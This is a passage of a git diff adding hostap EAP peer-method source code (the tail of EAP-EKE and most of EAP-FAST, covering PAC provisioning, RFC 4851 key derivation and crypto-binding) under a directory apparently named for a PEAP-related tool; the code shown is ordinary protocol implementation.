eap_eke_data *data = priv; + struct wpabuf *resp; + const u8 *pos, *end; + size_t len; + u8 eke_exch; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_EKE, reqData, &len); + if (pos == NULL || len < 1) { + ret->ignore = TRUE; + return NULL; + } + + end = pos + len; + eke_exch = *pos++; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received frame: exch %d", eke_exch); + wpa_hexdump(MSG_DEBUG, "EAP-EKE: Received Data", pos, end - pos); + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + switch (eke_exch) { + case EAP_EKE_ID: + resp = eap_eke_process_id(data, ret, reqData, pos, end - pos); + break; + case EAP_EKE_COMMIT: + resp = eap_eke_process_commit(sm, data, ret, reqData, + pos, end - pos); + break; + case EAP_EKE_CONFIRM: + resp = eap_eke_process_confirm(data, ret, reqData, + pos, end - pos); + break; + case EAP_EKE_FAILURE: + resp = eap_eke_process_failure(data, ret, reqData, + pos, end - pos); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-EKE: Ignoring message with unknown EKE-Exch %d", eke_exch); + ret->ignore = TRUE; + return NULL; + } + + if (ret->methodState == METHOD_DONE) + ret->allowNotifications = FALSE; + + return resp; +} + + +static Boolean eap_eke_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_eke_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_eke_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_eke_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_eke_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_eke_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +int eap_peer_eke_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_EKE, "EKE"); + if (eap == NULL) + return -1; + + eap->init = eap_eke_init; + eap->deinit = eap_eke_deinit; + eap->process = eap_eke_process; + eap->isKeyAvailable = eap_eke_isKeyAvailable; + eap->getKey = eap_eke_getKey; + eap->get_emsk = eap_eke_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_fast.c b/peapwn/mods/hostap/src/eap_peer/eap_fast.c new file mode 100644 index 000000000..3b8d803dc --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_fast.c @@ -0,0 +1,1751 @@ +/* + * EAP peer method: EAP-FAST (RFC 4851) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/tls.h" +#include "crypto/sha1.h" +#include "eap_common/eap_tlv_common.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "eap_config.h" +#include "eap_fast_pac.h" + +#ifdef EAP_FAST_DYNAMIC +#include "eap_fast_pac.c" +#endif /* EAP_FAST_DYNAMIC */ + +/* TODO: + * - test session resumption and enable it if it interoperates + * - password change (pending mschapv2 packet; replay decrypted packet) + */ + + +static void eap_fast_deinit(struct eap_sm *sm, void *priv); + + +struct eap_fast_data { + struct eap_ssl_data ssl; + + int fast_version; + + const struct eap_method *phase2_method; + void *phase2_priv; + int phase2_success; + + struct eap_method_type phase2_type; + struct eap_method_type *phase2_types; + size_t num_phase2_types; + int resuming; /* starting a resumed session */ + struct eap_fast_key_block_provisioning *key_block_p; +#define EAP_FAST_PROV_UNAUTH 1 +#define EAP_FAST_PROV_AUTH 2 + int provisioning_allowed; /* Allowed PAC provisioning modes */ + int provisioning; /* doing PAC provisioning (not the normal auth) */ + int anon_provisioning; /* doing anonymous (unauthenticated) + * provisioning */ + int session_ticket_used; + + u8 key_data[EAP_FAST_KEY_LEN]; + u8 *session_id; + size_t id_len; + u8 emsk[EAP_EMSK_LEN]; + int success; + + struct eap_fast_pac *pac; + struct eap_fast_pac *current_pac; + size_t max_pac_list_len; + int use_pac_binary_format; + + u8 simck[EAP_FAST_SIMCK_LEN]; + int simck_idx; + + struct wpabuf *pending_phase2_req; +}; + + +static int eap_fast_session_ticket_cb(void *ctx, const u8 *ticket, size_t len, + const u8 *client_random, + const u8 *server_random, + u8 *master_secret) +{ + struct eap_fast_data *data = ctx; + + wpa_printf(MSG_DEBUG, "EAP-FAST: SessionTicket callback"); + + if (client_random == NULL || server_random == NULL || + master_secret == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: SessionTicket failed - fall " + "back to full TLS handshake"); + data->session_ticket_used = 0; + if (data->provisioning_allowed) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Try to provision a " + "new PAC-Key"); + data->provisioning = 1; + data->current_pac = NULL; + } + return 0; + } + + wpa_hexdump(MSG_DEBUG, "EAP-FAST: SessionTicket", ticket, len); + + if (data->current_pac == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No PAC-Key available for " + "using SessionTicket"); + data->session_ticket_used = 0; + return 0; + } + + eap_fast_derive_master_secret(data->current_pac->pac_key, + server_random, client_random, + master_secret); + + data->session_ticket_used = 1; + + return 1; +} + + +static int eap_fast_parse_phase1(struct eap_fast_data *data, + const char *phase1) +{ + const char *pos; + + pos = os_strstr(phase1, "fast_provisioning="); + if (pos) { + data->provisioning_allowed = atoi(pos + 18); + wpa_printf(MSG_DEBUG, "EAP-FAST: Automatic PAC provisioning " + "mode: %d", data->provisioning_allowed); + } + + pos = os_strstr(phase1, "fast_max_pac_list_len="); + if (pos) { + data->max_pac_list_len = atoi(pos + 22); + if (data->max_pac_list_len == 0) + data->max_pac_list_len = 1; + wpa_printf(MSG_DEBUG, "EAP-FAST: Maximum PAC list length: %lu", + (unsigned long) data->max_pac_list_len); + } + + pos = os_strstr(phase1, "fast_pac_format=binary"); + if (pos) { + data->use_pac_binary_format = 1; + wpa_printf(MSG_DEBUG, "EAP-FAST: Using binary format for PAC " + "list"); + } + + return 0; +} + + +static void * eap_fast_init(struct eap_sm *sm) +{ + struct eap_fast_data *data; + struct eap_peer_config *config = eap_get_config(sm); + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->fast_version = EAP_FAST_VERSION; + data->max_pac_list_len = 10; + + if (config && config->phase1 && + eap_fast_parse_phase1(data, config->phase1) < 0) { + eap_fast_deinit(sm, data); + return NULL; + } + + if (eap_peer_select_phase2_methods(config, "auth=", + &data->phase2_types, + &data->num_phase2_types) < 0) { + eap_fast_deinit(sm, data); + return NULL; + } + + data->phase2_type.vendor = EAP_VENDOR_IETF; + data->phase2_type.method = EAP_TYPE_NONE; + + if (eap_peer_tls_ssl_init(sm, &data->ssl, config, EAP_TYPE_FAST)) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to initialize SSL."); + eap_fast_deinit(sm, data); + return NULL; + } + + if (tls_connection_set_session_ticket_cb(sm->ssl_ctx, data->ssl.conn, + eap_fast_session_ticket_cb, + data) < 0) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to set SessionTicket " + "callback"); + eap_fast_deinit(sm, data); + return NULL; + } + + /* + * The local RADIUS server in a Cisco AP does not seem to like empty + * fragments before data, so disable that workaround for CBC. + * TODO: consider making this configurable + */ + if (tls_connection_enable_workaround(sm->ssl_ctx, data->ssl.conn)) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to enable TLS " + "workarounds"); + } + + if (data->use_pac_binary_format && + eap_fast_load_pac_bin(sm, &data->pac, config->pac_file) < 0) { + eap_fast_deinit(sm, data); + return NULL; + } + + if (!data->use_pac_binary_format && + eap_fast_load_pac(sm, &data->pac, config->pac_file) < 0) { + eap_fast_deinit(sm, data); + return NULL; + } + eap_fast_pac_list_truncate(data->pac, data->max_pac_list_len); + + if (data->pac == NULL && !data->provisioning_allowed) { + wpa_printf(MSG_INFO, "EAP-FAST: No PAC configured and " + "provisioning disabled"); + eap_fast_deinit(sm, data); + return NULL; + } + + return data; +} + + +static void eap_fast_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + struct eap_fast_pac *pac, *prev; + + if (data == NULL) + return; + if (data->phase2_priv && data->phase2_method) + data->phase2_method->deinit(sm, data->phase2_priv); + os_free(data->phase2_types); + os_free(data->key_block_p); + eap_peer_tls_ssl_deinit(sm, &data->ssl); + + pac = data->pac; + prev = NULL; + while (pac) { + prev = pac; + pac = pac->next; + eap_fast_free_pac(prev); + } + os_free(data->session_id); + wpabuf_free(data->pending_phase2_req); + os_free(data); +} + + +static int eap_fast_derive_msk(struct eap_fast_data *data) +{ + eap_fast_derive_eap_msk(data->simck, data->key_data); + eap_fast_derive_eap_emsk(data->simck, data->emsk); + data->success = 1; + return 0; +} + + +static void eap_fast_derive_key_auth(struct eap_sm *sm, + struct eap_fast_data *data) +{ + u8 *sks; + + /* RFC 4851, Section 5.1: + * Extra key material after TLS key_block: session_key_seed[40] + */ + + sks = eap_fast_derive_key(sm->ssl_ctx, data->ssl.conn, "key expansion", + EAP_FAST_SKS_LEN); + if (sks == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to derive " + "session_key_seed"); + return; + } + + /* + * RFC 4851, Section 5.2: + * S-IMCK[0] = session_key_seed + */ + wpa_hexdump_key(MSG_DEBUG, + "EAP-FAST: session_key_seed (SKS = S-IMCK[0])", + sks, EAP_FAST_SKS_LEN); + data->simck_idx = 0; + os_memcpy(data->simck, sks, EAP_FAST_SIMCK_LEN); + os_free(sks); +} + + +static void eap_fast_derive_key_provisioning(struct eap_sm *sm, + struct eap_fast_data *data) +{ + os_free(data->key_block_p); + data->key_block_p = (struct eap_fast_key_block_provisioning *) + eap_fast_derive_key(sm->ssl_ctx, data->ssl.conn, + "key expansion", + sizeof(*data->key_block_p)); + if (data->key_block_p == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to derive key block"); + return; + } + /* + * RFC 4851, Section 5.2: + * S-IMCK[0] = session_key_seed + */ + wpa_hexdump_key(MSG_DEBUG, + "EAP-FAST: session_key_seed (SKS = S-IMCK[0])", + data->key_block_p->session_key_seed, + sizeof(data->key_block_p->session_key_seed)); + data->simck_idx = 0; + os_memcpy(data->simck, data->key_block_p->session_key_seed, + EAP_FAST_SIMCK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: server_challenge", + data->key_block_p->server_challenge, + sizeof(data->key_block_p->server_challenge)); + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: client_challenge", + data->key_block_p->client_challenge, + sizeof(data->key_block_p->client_challenge)); +} + + +static void eap_fast_derive_keys(struct eap_sm *sm, struct eap_fast_data *data) +{ + if (data->anon_provisioning) + eap_fast_derive_key_provisioning(sm, data); + else + eap_fast_derive_key_auth(sm, data); +} + + +static int eap_fast_init_phase2_method(struct eap_sm *sm, + struct eap_fast_data *data) +{ + data->phase2_method = + eap_peer_get_eap_method(data->phase2_type.vendor, + data->phase2_type.method); + if (data->phase2_method == NULL) + return -1; + + if (data->key_block_p) { + sm->auth_challenge = data->key_block_p->server_challenge; + sm->peer_challenge = data->key_block_p->client_challenge; + } + sm->init_phase2 = 1; + data->phase2_priv = data->phase2_method->init(sm); + sm->init_phase2 = 0; + sm->auth_challenge = NULL; + sm->peer_challenge = NULL; + + return data->phase2_priv == NULL ? -1 : 0; +} + + +static int eap_fast_select_phase2_method(struct eap_fast_data *data, u8 type) +{ + size_t i; + + /* TODO: TNC with anonymous provisioning; need to require both + * completed MSCHAPv2 and TNC */ + + if (data->anon_provisioning && type != EAP_TYPE_MSCHAPV2) { + wpa_printf(MSG_INFO, "EAP-FAST: Only EAP-MSCHAPv2 is allowed " + "during unauthenticated provisioning; reject phase2" + " type %d", type); + return -1; + } + +#ifdef EAP_TNC + if (type == EAP_TYPE_TNC) { + data->phase2_type.vendor = EAP_VENDOR_IETF; + data->phase2_type.method = EAP_TYPE_TNC; + wpa_printf(MSG_DEBUG, "EAP-FAST: Selected Phase 2 EAP " + "vendor %d method %d for TNC", + data->phase2_type.vendor, + data->phase2_type.method); + return 0; + } +#endif /* EAP_TNC */ + + for (i = 0; i < data->num_phase2_types; i++) { + if (data->phase2_types[i].vendor != EAP_VENDOR_IETF || + data->phase2_types[i].method != type) + continue; + + data->phase2_type.vendor = data->phase2_types[i].vendor; + data->phase2_type.method = data->phase2_types[i].method; + wpa_printf(MSG_DEBUG, "EAP-FAST: Selected Phase 2 EAP " + "vendor %d method %d", + data->phase2_type.vendor, + data->phase2_type.method); + break; + } + + if (type != data->phase2_type.method || type == EAP_TYPE_NONE) + return -1; + + return 0; +} + + +static int eap_fast_phase2_request(struct eap_sm *sm, + struct eap_fast_data *data, + struct eap_method_ret *ret, + struct eap_hdr *hdr, + struct wpabuf **resp) +{ + size_t len = be_to_host16(hdr->length); + u8 *pos; + struct eap_method_ret iret; + struct eap_peer_config *config = eap_get_config(sm); + struct wpabuf msg; + + if (len <= sizeof(struct eap_hdr)) { + wpa_printf(MSG_INFO, "EAP-FAST: too short " + "Phase 2 request (len=%lu)", (unsigned long) len); + return -1; + } + pos = (u8 *) (hdr + 1); + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase 2 Request: type=%d", *pos); + if (*pos == EAP_TYPE_IDENTITY) { + *resp = eap_sm_buildIdentity(sm, hdr->identifier, 1); + return 0; + } + + if (data->phase2_priv && data->phase2_method && + *pos != data->phase2_type.method) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase 2 EAP sequence - " + "deinitialize previous method"); + data->phase2_method->deinit(sm, data->phase2_priv); + data->phase2_method = NULL; + data->phase2_priv = NULL; + data->phase2_type.vendor = EAP_VENDOR_IETF; + data->phase2_type.method = EAP_TYPE_NONE; + } + + if (data->phase2_type.vendor == EAP_VENDOR_IETF && + data->phase2_type.method == EAP_TYPE_NONE && + eap_fast_select_phase2_method(data, *pos) < 0) { + if (eap_peer_tls_phase2_nak(data->phase2_types, + data->num_phase2_types, + hdr, resp)) + return -1; + return 0; + } + + if ((data->phase2_priv == NULL && + eap_fast_init_phase2_method(sm, data) < 0) || + data->phase2_method == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to initialize " + "Phase 2 EAP method %d", *pos); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return -1; + } + + os_memset(&iret, 0, sizeof(iret)); + wpabuf_set(&msg, hdr, len); + *resp = data->phase2_method->process(sm, data->phase2_priv, &iret, + &msg); + if (*resp == NULL || + (iret.methodState == METHOD_DONE && + iret.decision == DECISION_FAIL)) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + } else if ((iret.methodState == METHOD_DONE || + iret.methodState == METHOD_MAY_CONT) && + (iret.decision == DECISION_UNCOND_SUCC || + iret.decision == DECISION_COND_SUCC)) { + data->phase2_success = 1; + } + + if (*resp == NULL && config && + (config->pending_req_identity || config->pending_req_password || + config->pending_req_otp || config->pending_req_new_password)) { + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = wpabuf_alloc_copy(hdr, len); + } else if (*resp == NULL) + return -1; + + return 0; +} + + +static struct wpabuf * eap_fast_tlv_nak(int vendor_id, int tlv_type) +{ + struct wpabuf *buf; + struct eap_tlv_nak_tlv *nak; + buf = wpabuf_alloc(sizeof(*nak)); + if (buf == NULL) + return NULL; + nak = wpabuf_put(buf, sizeof(*nak)); + nak->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | EAP_TLV_NAK_TLV); + nak->length = host_to_be16(6); + nak->vendor_id = host_to_be32(vendor_id); + nak->nak_type = host_to_be16(tlv_type); + return buf; +} + + +static struct wpabuf * eap_fast_tlv_result(int status, int intermediate) +{ + struct wpabuf *buf; + struct eap_tlv_intermediate_result_tlv *result; + buf = wpabuf_alloc(sizeof(*result)); + if (buf == NULL) + return NULL; + wpa_printf(MSG_DEBUG, "EAP-FAST: Add %sResult TLV(status=%d)", + intermediate ? "Intermediate " : "", status); + result = wpabuf_put(buf, sizeof(*result)); + result->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + (intermediate ? + EAP_TLV_INTERMEDIATE_RESULT_TLV : + EAP_TLV_RESULT_TLV)); + result->length = host_to_be16(2); + result->status = host_to_be16(status); + return buf; +} + + +static struct wpabuf * eap_fast_tlv_pac_ack(void) +{ + struct wpabuf *buf; + struct eap_tlv_result_tlv *res; + struct eap_tlv_pac_ack_tlv *ack; + + buf = wpabuf_alloc(sizeof(*res) + sizeof(*ack)); + if (buf == NULL) + return NULL; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Add PAC TLV (ack)"); + ack = wpabuf_put(buf, sizeof(*ack)); + ack->tlv_type = host_to_be16(EAP_TLV_PAC_TLV | + EAP_TLV_TYPE_MANDATORY); + ack->length = host_to_be16(sizeof(*ack) - sizeof(struct eap_tlv_hdr)); + ack->pac_type = host_to_be16(PAC_TYPE_PAC_ACKNOWLEDGEMENT); + ack->pac_len = host_to_be16(2); + ack->result = host_to_be16(EAP_TLV_RESULT_SUCCESS); + + return buf; +} + + +static struct wpabuf * eap_fast_process_eap_payload_tlv( + struct eap_sm *sm, struct eap_fast_data *data, + struct eap_method_ret *ret, + u8 *eap_payload_tlv, size_t eap_payload_tlv_len) +{ + struct eap_hdr *hdr; + struct wpabuf *resp = NULL; + + if (eap_payload_tlv_len < sizeof(*hdr)) { + wpa_printf(MSG_DEBUG, "EAP-FAST: too short EAP " + "Payload TLV (len=%lu)", + (unsigned long) eap_payload_tlv_len); + return NULL; + } + + hdr = (struct eap_hdr *) eap_payload_tlv; + if (be_to_host16(hdr->length) > eap_payload_tlv_len) { + wpa_printf(MSG_DEBUG, "EAP-FAST: EAP packet overflow in " + "EAP Payload TLV"); + return NULL; + } + + if (hdr->code != EAP_CODE_REQUEST) { + wpa_printf(MSG_INFO, "EAP-FAST: Unexpected code=%d in " + "Phase 2 EAP header", hdr->code); + return NULL; + } + + if (eap_fast_phase2_request(sm, data, ret, hdr, &resp)) { + wpa_printf(MSG_INFO, "EAP-FAST: Phase2 Request processing " + "failed"); + return NULL; + } + + return eap_fast_tlv_eap_payload(resp); +} + + +static int eap_fast_validate_crypto_binding( + struct eap_tlv_crypto_binding_tlv *_bind) +{ + wpa_printf(MSG_DEBUG, "EAP-FAST: Crypto-Binding TLV: Version %d " + "Received Version %d SubType %d", + _bind->version, _bind->received_version, _bind->subtype); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: NONCE", + _bind->nonce, sizeof(_bind->nonce)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Compound MAC", + _bind->compound_mac, sizeof(_bind->compound_mac)); + + if (_bind->version != EAP_FAST_VERSION || + _bind->received_version != EAP_FAST_VERSION || + _bind->subtype != EAP_TLV_CRYPTO_BINDING_SUBTYPE_REQUEST) { + wpa_printf(MSG_INFO, "EAP-FAST: Invalid version/subtype in " + "Crypto-Binding TLV: Version %d " + "Received Version %d SubType %d", + _bind->version, _bind->received_version, + _bind->subtype); + return -1; + } + + return 0; +} + + +static void eap_fast_write_crypto_binding( + struct eap_tlv_crypto_binding_tlv *rbind, + struct eap_tlv_crypto_binding_tlv *_bind, const u8 *cmk) +{ + rbind->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + EAP_TLV_CRYPTO_BINDING_TLV); + rbind->length = host_to_be16(sizeof(*rbind) - + sizeof(struct eap_tlv_hdr)); + rbind->version = EAP_FAST_VERSION; + rbind->received_version = _bind->version; + rbind->subtype = EAP_TLV_CRYPTO_BINDING_SUBTYPE_RESPONSE; + os_memcpy(rbind->nonce, _bind->nonce, sizeof(_bind->nonce)); + inc_byte_array(rbind->nonce, sizeof(rbind->nonce)); + hmac_sha1(cmk, EAP_FAST_CMK_LEN, (u8 *) rbind, sizeof(*rbind), + rbind->compound_mac); + + wpa_printf(MSG_DEBUG, "EAP-FAST: Reply Crypto-Binding TLV: Version %d " + "Received Version %d SubType %d", + rbind->version, rbind->received_version, rbind->subtype); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: NONCE", + rbind->nonce, sizeof(rbind->nonce)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Compound MAC", + rbind->compound_mac, sizeof(rbind->compound_mac)); +} + + +static int eap_fast_get_phase2_key(struct eap_sm *sm, + struct eap_fast_data *data, + u8 *isk, size_t isk_len) +{ + u8 *key; + size_t key_len; + + os_memset(isk, 0, isk_len); + + if (data->phase2_method == NULL || data->phase2_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase 2 method not " + "available"); + return -1; + } + + if (data->phase2_method->isKeyAvailable == NULL || + data->phase2_method->getKey == NULL) + return 0; + + if (!data->phase2_method->isKeyAvailable(sm, data->phase2_priv) || + (key = data->phase2_method->getKey(sm, data->phase2_priv, + &key_len)) == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Could not get key material " + "from Phase 2"); + return -1; + } + + if (key_len > isk_len) + key_len = isk_len; + if (key_len == 32 && + data->phase2_method->vendor == EAP_VENDOR_IETF && + data->phase2_method->method == EAP_TYPE_MSCHAPV2) { + /* + * EAP-FAST uses reverse order for MS-MPPE keys when deriving + * MSK from EAP-MSCHAPv2. Swap the keys here to get the correct + * ISK for EAP-FAST cryptobinding. + */ + os_memcpy(isk, key + 16, 16); + os_memcpy(isk + 16, key, 16); + } else + os_memcpy(isk, key, key_len); + os_free(key); + + return 0; +} + + +static int eap_fast_get_cmk(struct eap_sm *sm, struct eap_fast_data *data, + u8 *cmk) +{ + u8 isk[32], imck[60]; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Determining CMK[%d] for Compound MIC " + "calculation", data->simck_idx + 1); + + /* + * RFC 4851, Section 5.2: + * IMCK[j] = T-PRF(S-IMCK[j-1], "Inner Methods Compound Keys", + * MSK[j], 60) + * S-IMCK[j] = first 40 octets of IMCK[j] + * CMK[j] = last 20 octets of IMCK[j] + */ + + if (eap_fast_get_phase2_key(sm, data, isk, sizeof(isk)) < 0) + return -1; + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: ISK[j]", isk, sizeof(isk)); + sha1_t_prf(data->simck, EAP_FAST_SIMCK_LEN, + "Inner Methods Compound Keys", + isk, sizeof(isk), imck, sizeof(imck)); + data->simck_idx++; + os_memcpy(data->simck, imck, EAP_FAST_SIMCK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: S-IMCK[j]", + data->simck, EAP_FAST_SIMCK_LEN); + os_memcpy(cmk, imck + EAP_FAST_SIMCK_LEN, EAP_FAST_CMK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: CMK[j]", + cmk, EAP_FAST_CMK_LEN); + + return 0; +} + + +static u8 * eap_fast_write_pac_request(u8 *pos, u16 pac_type) +{ + struct eap_tlv_hdr *pac; + struct eap_tlv_request_action_tlv *act; + struct eap_tlv_pac_type_tlv *type; + + act = (struct eap_tlv_request_action_tlv *) pos; + act->tlv_type = host_to_be16(EAP_TLV_REQUEST_ACTION_TLV); + act->length = host_to_be16(2); + act->action = host_to_be16(EAP_TLV_ACTION_PROCESS_TLV); + + pac = (struct eap_tlv_hdr *) (act + 1); + pac->tlv_type = host_to_be16(EAP_TLV_PAC_TLV); + pac->length = host_to_be16(sizeof(*type)); + + type = (struct eap_tlv_pac_type_tlv *) (pac + 1); + type->tlv_type = host_to_be16(PAC_TYPE_PAC_TYPE); + type->length = host_to_be16(2); + type->pac_type = host_to_be16(pac_type); + + return (u8 *) (type + 1); +} + + +static struct wpabuf * eap_fast_process_crypto_binding( + struct eap_sm *sm, struct eap_fast_data *data, + struct eap_method_ret *ret, + struct eap_tlv_crypto_binding_tlv *_bind, size_t bind_len) +{ + struct wpabuf *resp; + u8 *pos; + u8 cmk[EAP_FAST_CMK_LEN], cmac[SHA1_MAC_LEN]; + int res; + size_t len; + + if (eap_fast_validate_crypto_binding(_bind) < 0) + return NULL; + + if (eap_fast_get_cmk(sm, data, cmk) < 0) + return NULL; + + /* Validate received Compound MAC */ + os_memcpy(cmac, _bind->compound_mac, sizeof(cmac)); + os_memset(_bind->compound_mac, 0, sizeof(cmac)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Crypto-Binding TLV for Compound " + "MAC calculation", (u8 *) _bind, bind_len); + hmac_sha1(cmk, EAP_FAST_CMK_LEN, (u8 *) _bind, bind_len, + _bind->compound_mac); + res = os_memcmp(cmac, _bind->compound_mac, sizeof(cmac)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Received Compound MAC", + cmac, sizeof(cmac)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Calculated Compound MAC", + _bind->compound_mac, sizeof(cmac)); + if (res != 0) { + wpa_printf(MSG_INFO, "EAP-FAST: Compound MAC did not match"); + os_memcpy(_bind->compound_mac, cmac, sizeof(cmac)); + return NULL; + } + + /* + * Compound MAC was valid, so authentication succeeded. Reply with + * crypto binding to allow server to complete authentication. + */ + + len = sizeof(struct eap_tlv_crypto_binding_tlv); + resp = wpabuf_alloc(len); + if (resp == NULL) + return NULL; + + if (!data->anon_provisioning && data->phase2_success && + eap_fast_derive_msk(data) < 0) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to generate MSK"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + data->phase2_success = 0; + wpabuf_free(resp); + return NULL; + } + + if (!data->anon_provisioning && data->phase2_success) { + os_free(data->session_id); + data->session_id = eap_peer_tls_derive_session_id( + sm, &data->ssl, EAP_TYPE_FAST, &data->id_len); + if (data->session_id) { + wpa_hexdump(MSG_DEBUG, "EAP-FAST: Derived Session-Id", + data->session_id, data->id_len); + } else { + wpa_printf(MSG_ERROR, "EAP-FAST: Failed to derive " + "Session-Id"); + wpabuf_free(resp); + return NULL; + } + } + + pos = wpabuf_put(resp, sizeof(struct eap_tlv_crypto_binding_tlv)); + eap_fast_write_crypto_binding((struct eap_tlv_crypto_binding_tlv *) + pos, _bind, cmk); + + return resp; +} + + +static void eap_fast_parse_pac_tlv(struct eap_fast_pac *entry, int type, + u8 *pos, size_t len, int *pac_key_found) +{ + switch (type & 0x7fff) { + case PAC_TYPE_PAC_KEY: + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: PAC-Key", pos, len); + if (len != EAP_FAST_PAC_KEY_LEN) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Invalid PAC-Key " + "length %lu", (unsigned long) len); + break; + } + *pac_key_found = 1; + os_memcpy(entry->pac_key, pos, len); + break; + case PAC_TYPE_PAC_OPAQUE: + wpa_hexdump(MSG_DEBUG, "EAP-FAST: PAC-Opaque", pos, len); + entry->pac_opaque = pos; + entry->pac_opaque_len = len; + break; + case PAC_TYPE_PAC_INFO: + wpa_hexdump(MSG_DEBUG, "EAP-FAST: PAC-Info", pos, len); + entry->pac_info = pos; + entry->pac_info_len = len; + break; + default: + wpa_printf(MSG_DEBUG, "EAP-FAST: Ignored unknown PAC type %d", + type); + break; + } +} + + +static int eap_fast_process_pac_tlv(struct eap_fast_pac *entry, + u8 *pac, size_t pac_len) +{ + struct pac_tlv_hdr *hdr; + u8 *pos; + size_t left, len; + int type, pac_key_found = 0; + + pos = pac; + left = pac_len; + + while (left > sizeof(*hdr)) { + hdr = (struct pac_tlv_hdr *) pos; + type = be_to_host16(hdr->type); + len = be_to_host16(hdr->len); + pos += sizeof(*hdr); + left -= sizeof(*hdr); + if (len > left) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC TLV overrun " + "(type=%d len=%lu left=%lu)", + type, (unsigned long) len, + (unsigned long) left); + return -1; + } + + eap_fast_parse_pac_tlv(entry, type, pos, len, &pac_key_found); + + pos += len; + left -= len; + } + + if (!pac_key_found || !entry->pac_opaque || !entry->pac_info) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC TLV does not include " + "all the required fields"); + return -1; + } + + return 0; +} + + +static int eap_fast_parse_pac_info(struct eap_fast_pac *entry, int type, + u8 *pos, size_t len) +{ + u16 pac_type; + u32 lifetime; + struct os_time now; + + switch (type & 0x7fff) { + case PAC_TYPE_CRED_LIFETIME: + if (len != 4) { + wpa_hexdump(MSG_DEBUG, "EAP-FAST: PAC-Info - " + "Invalid CRED_LIFETIME length - ignored", + pos, len); + return 0; + } + + /* + * This is not currently saved separately in PAC files since + * the server can automatically initiate PAC update when + * needed. Anyway, the information is available from PAC-Info + * dump if it is needed for something in the future. + */ + lifetime = WPA_GET_BE32(pos); + os_get_time(&now); + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Info - CRED_LIFETIME %d " + "(%d days)", + lifetime, (lifetime - (u32) now.sec) / 86400); + break; + case PAC_TYPE_A_ID: + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: PAC-Info - A-ID", + pos, len); + entry->a_id = pos; + entry->a_id_len = len; + break; + case PAC_TYPE_I_ID: + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: PAC-Info - I-ID", + pos, len); + entry->i_id = pos; + entry->i_id_len = len; + break; + case PAC_TYPE_A_ID_INFO: + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: PAC-Info - A-ID-Info", + pos, len); + entry->a_id_info = pos; + entry->a_id_info_len = len; + break; + case 